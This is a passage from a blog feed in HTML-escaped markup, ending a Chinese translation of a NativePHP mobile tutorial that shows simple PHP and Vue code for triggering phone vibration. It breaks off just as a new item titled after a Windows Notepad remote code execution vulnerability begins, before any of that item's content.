0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;我们用一个 Web 应用永远做不到的功能来证明这是&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;真原生&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;——&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;触觉振动（Haptic Feedback）&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在 Livewire 中的写法（PHP）&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;button&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;wire&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;:click=&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;vibrate&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;gt;感受一下&amp;lt;/button&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;5&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;6&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;use&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Native&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Mobile&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Facades&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;public&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;function&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;)&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;{&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;();&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h4 data-heading=&quot;true&quot; style=&quot;margin: 2em 0px 0.5em;color: rgb(15, 76, 129);font-size: 16px;font-weight: bold;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;在 Vue / React / Inertia 中的写法（JavaScript）&lt;/span&gt;&lt;/h4&gt;&lt;pre style=&quot;color: rgb(255, 255, 255);background: rgb(28, 27, 27);font-size: 90%;overflow-x: auto;border-radius: 8px;line-height: 1.5;margin: 10px 0px;text-align: justify;padding: 0px !important;&quot;&gt;&lt;span style=&quot;display: none;padding: 10px 14px 0px;&quot;&gt;&lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; version=&quot;1.1&quot; x=&quot;0px&quot; y=&quot;0px&quot; width=&quot;45px&quot; height=&quot;13px&quot; viewbox=&quot;0 0 450 130&quot;&gt;&lt;ellipse cx=&quot;50&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(220,60,54)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(237,108,96)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;225&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(218,151,33)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(247,193,81)&quot;&gt;&lt;/ellipse&gt;&lt;ellipse cx=&quot;400&quot; cy=&quot;65&quot; rx=&quot;50&quot; ry=&quot;52&quot; stroke=&quot;rgb(27,161,37)&quot; stroke-width=&quot;2&quot; fill=&quot;rgb(100,200,86)&quot;&gt;&lt;/ellipse&gt;&lt;/svg&gt;&lt;/span&gt;&lt;code style=&quot;font-size: 90%;border-radius: 4px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;color: inherit;background: none;white-space: nowrap;margin-top: 0px;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;text-align: justify;display: flex;align-items: flex-start;overflow: hidden auto;width: 100%;max-width: 100%;padding: 0px;box-sizing: border-box;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;padding: 8px 0px;border-right: 1px solid rgba(0, 0, 0, 0.04);user-select: none;background: var(--code-bg,transparent);margin-top: 0px !important;&quot;&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-top: 0px !important;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;4&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;5&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;6&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;7&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;8&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;9&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;10&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;text-align: justify;padding: 0px 10px 0px 0px;line-height: 1.75;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;11&lt;/span&gt;&lt;/section&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;section style=&quot;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;font-size: 16px;line-height: 1.75;flex: 1 1 auto;overflow: auto visible;padding: 8px;min-width: 0px;box-sizing: border-box;&quot;&gt;&lt;p style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;template&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;lt;button&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;@click&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;vibrate&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;gt;感受一下&amp;lt;/button&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;/template&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;script setup&amp;gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;import&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;{&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;}&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;from&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #B5BD68;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&amp;#39;@nativephp/mobile&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;const&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;=&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;async&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;(&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;) =&amp;gt; {&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style=&quot;color: #88AECE;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; await&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;Device&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #F08D49;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;vibrate&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;()&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;点击按钮。&lt;/span&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;你感觉到了吗？&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; 那是手机真实的振动反馈。普通 Web 应用永远做不到这一点，但你现在已经做到了。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;strong style=&quot;color: rgb(15, 76, 129);font-weight: bold;font-size: inherit;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;恭喜🎉，你现在是一名移动开发者了。&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p style=&quot;text-align: justify;margin: 1.5em 0px;letter-spacing: 0.1em;color: rgb(63, 63, 63);&quot;&gt;&lt;span leaf=&quot;&quot;&gt;原文链接：https://nativephp.com/blog/your-first-nativephp-mobile-app-in-5-minutes）&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;p style=&quot;font-size: 0px;line-height: 0;margin: 0px;text-align: justify;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: justify;margin-left: 0px;margin-right: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:00:52 +0800</pubDate></item><item><title>CVE-2026-20841 Windows记事本 Markdown RCE</title><link>https://www.7x0.cn/post/23.html</link><description>&lt;h2 style=&quot;box-sizing: border-box;margin: 80px 10px 40px;padding: 0px;font-weight: normal;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-size: 22.4px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &amp;quot;PingFang SC&amp;quot;, Cambria, Cochin, Georgia, Times, &amp;quot;Times New Roman&amp;quot;, serif;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CVE-2026-20841&lt;/span&gt;&lt;/h2&gt;&lt;h3 style=&quot;box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 